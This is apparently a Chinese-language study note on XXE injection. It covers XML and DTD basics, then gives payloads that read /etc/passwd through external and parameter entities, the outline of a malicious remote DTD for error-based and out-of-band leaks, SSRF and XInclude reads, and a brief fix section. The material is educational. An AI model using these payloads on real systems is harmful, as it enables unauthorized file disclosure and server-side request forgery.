XXE笔记
什么是XXE
XXE就是XML外部实体注入(XML External Entity)。XXE可以分为in-band XXE
就是web程序即时响应攻击者的XXE-Paylod,另外一种则是out-of-band XXE
也被称为blind XXE
,web程序不会即使响应攻击的XXE-Payload,攻击者必须将XXE-Payload的输出放到其他文件或攻击者的服务器上。
XXE的危害:
- 敏感文件泄露
- Dos攻击
- 伪造SSRF
- 开启端口扫描导致远程代码执行
在学习XXE之前,我们要了解一些XML的基础知识。
什么是XML
XML是可扩展标记语言(eXtensible Markup Language)。
- XML被设计用来传输和存储数据,(HTML被设计用来显示数据。
- XML是一种很像HTML的标记语言,但是XML标签没有被预定义,需要自行定义标签,XML被设计具有自我描述性。
- XML是W3C的推荐标准。
为什么使用XML
作用
- XML数据从HTML中分离
- XML简化数据共享,数据传输,平台变更。
- 使用XML存储和传输的数据可以随时更改,而不会影响数据表示。
- XML有严格的语法规定。
- XML可以在任何平台上使用,也可以随时转移到任何平台。
XML语法
大部分XML文档都会以这个开头。
1 | <?xml version="1.0" encoding="UTF-8"?> |
这是序言,它指定XML文档中使用的XML版本和编码格式,序言不是强制性的。
XML同样也是树结构(和HTML类似,从根部(root,也被称为父节点)开始再到枝叶(子节点)。
1 | <?xml version="1.0" encoding="UTF-8"?> |
<mail>
是父节点<to>
,<from>
,<subject>
,<text>
这些都是子节点。同一级的子节点他们互相为同胞关系。如果XML文档没有任何根元素,则将其视为错误或无效的XML文档。XML标签和HTMl标签相似,成对标签(开始标签,结束标签)。
值得注意的是,XML文档有语法要求,它区分大小写。<to>
你不能写成<To>
,同样的XML文档和HTMl文档类似。所以在XML中,我们也能使用属性。
1 | <text category = "message">You need to learn about XXE</text> |
<text>
中category
就是text标签的属性。
总结一下XML的规则
XML文档中
- 必须包含根元素(父元素)
- 所有元素都可以有子元素
- 父,子,同胞用于描述元素之间的关系.
- 所有元素都可以有文本内容和属性
语法规则
- 必须有根元素
- 序言在第一行
- 所有xml元素都要闭合标签
- xml标签 大小写敏感
- xml必须正确嵌套
- 不能
<text><abc></text></abc>
这样
- 不能
- xml属性必须加引号
- 实体代替”<”等特殊字符
- 注释和html一样
<!--more-->
- xml文档中空格不会被删减
- 元素/属性名称不能用xml开始
- 不能空格开始(其他语言的基本命名规则)
XML-DTD
DTD是文档类型定义(Document Type Define)声明于xml文档中,也可以外部引用。
假设我们有一个note.dtd
的文件。
1 | <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> |
我们可以在XML中外部引入这个note.dtd
1 | <?xml version="1.0" encoding="UTF-8"?> |
- !DOCTYPE note 定义了一个名为note的文档根元素
- !ELEMENT note - 定义note元素必须包含以下元素:to,from,heading,body
- !ELEMENT to - 将to元素定义为”#PCDATA”类型
- !ELEMENT from - 将from元素定义为”#PCDATA”类型
- !ELEMENT heading - 将heading元素定义为” #PCDATA”类型
- !ELEMENT body - 将body元素定义为”#PCDATA”类型
#PCDATA
表示可解析的字符数据,类似于编程语言中双引号的效果还有一种#CDATA
类似编程语言中单引号的效果
定义一个实体
实体在xml文档中需要频繁使用某一条数据,实体是用于定义普通文本获得特殊字符的快捷方式的变量,实体引用是对实体的引用,实体可在内部或外部进行声明。
内部实体直接定义<!ENTITY 实体名称 "值">
1 | <!DOCTYPE note[<!ENTITY read "file:///etc/passwd">]> |
外部实体
1 | <!DOCTYPE note[<!ENTITY name SYSTEM "file:///etc/passwd">]> |
内部参数实体
1 | <!DOCTYPE note[<!ENTITY % name "hello">%name;]> |
外部参数实体
1 | <!DOCTYPE note[<!ENTITY % name SYSTEM "file:///etc/passwd"> %name;]> |
参数实体在DTD中解析优先级高于xml内部实体
引入外部恶意DTD文件
在http服务器上部署一个恶意dtd文件,内容如下:
PAYLOAD1(触发XML解析错误):
1 | <!ENTITY % file SYSTEM "file:///etc/passwd"> |
PAYLOAD2(OOB带外xxe):
1 | <!ENTITY % file SYSTEM "file:///etc/passwd"> |
请求payload如下
1 | <?xml version="1.0" ?> |
XXE注入
基础注入
payload
1 | <!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///etc/passwd">]> |
1 |
|
这里的file可以甚至可以使用其他的php伪协议
引入本地DTD
1 | <!DOCTYPE a[ |
SSRF
1 | <!DOCTYPE note[<!ENTITY xxe SYSTEM "http://vuln.com/password.txt">]> |
Xinclude 攻击
1 | <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo> |
xxe 文件上传攻击
漏洞一般
XXE 修复方式
- (php-libxml_disable_entity_loader()禁止解析xml外部实体
- 禁用对Xinclude的支持。